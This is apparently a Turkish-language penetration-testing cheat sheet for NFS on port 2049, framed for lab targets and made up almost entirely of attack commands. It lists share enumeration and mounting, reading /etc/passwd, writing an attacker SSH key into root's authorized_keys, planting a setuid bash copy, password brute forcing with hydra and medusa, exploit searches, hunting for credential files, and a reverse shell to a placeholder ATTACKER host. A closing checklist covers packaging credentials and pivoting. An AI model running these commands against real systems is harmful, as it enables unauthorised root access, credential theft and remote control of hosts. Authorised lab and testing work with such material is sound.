Skip to content

2049 - Pentesting NFS Service

NFS fileshare

NFS paylaşımı no_root_squash veya everyone export ile root dosya yazımı/okuma verir. Hedef lab IP’si üzerinde komutları 2049 portuna göre uyarla; her başarıyı ayrı kanıtla.

  1. showmount.

  2. Mount.

  3. root squash durumu.

  4. SSH key / cron yaz.

Terminal window
nmap -Pn -sV -p111,2049 --script nfs* TARGET
Terminal window
showmount -e TARGET
Terminal window
rpcinfo -p TARGET
Terminal window
mount -t nfs TARGET:/ /mnt
Terminal window
ls -la /mnt
Terminal window
cat /mnt/etc/passwd
Terminal window
echo 'ssh-rsa AAAA...' >> /mnt/root/.ssh/authorized_keys
Terminal window
cp /bin/bash /mnt/tmp/bash; chmod u+s /mnt/tmp/bash

NFS Service için ek keşif ve fingerprint.

Terminal window
nmap -Pn -sV -sC -p2049 TARGET
Terminal window
nmap -Pn -p2049 --script safe,discovery TARGET
Terminal window
timeout 5 bash -c 'echo | openssl s_client -connect TARGET:2049' 2>/dev/null | head
Terminal window
python3 -c "import socket;s=socket.create_connection(('TARGET',2049));s.settimeout(3);print(s.recv(4096))"
Banner / TLS / ALPN notları → NFS Service
Terminal window
hydra -L users.txt -P rockyou.txt -s 2049 PROTOCOL://TARGET -t 4
Terminal window
medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 2049
Terminal window
nmap -p2049 --script '*-brute' TARGET
admin/admin, root/root, guest/(boş), test/test
Terminal window
searchsploit NFS
Terminal window
msfconsole -q -x 'search NFS; exit'
Terminal window
nuclei -u https://TARGET:2049 -t cves/ -silent -severity || true
Terminal window
nuclei -u http://TARGET:2049 -tags tech -silent || true
Terminal window
nc -nv TARGET 2049
Terminal window
printf '
' | timeout 3 nc -nv TARGET 2049
Terminal window
curl -vk --http1.0 http://TARGET:2049/
Wireshark/tcpdump ile konuşmayı kaydet; replay dene
config, key, session, env, backup
Terminal window
find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head
Terminal window
ss -lntp; ip a; cat /etc/passwd | head
Terminal window
bash -i >& /dev/tcp/ATTACKER/443 0>&1
Terminal window
mkdir -p loot && tee loot/notes.txt
[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu
showmount → mount → no_root_squash → root ssh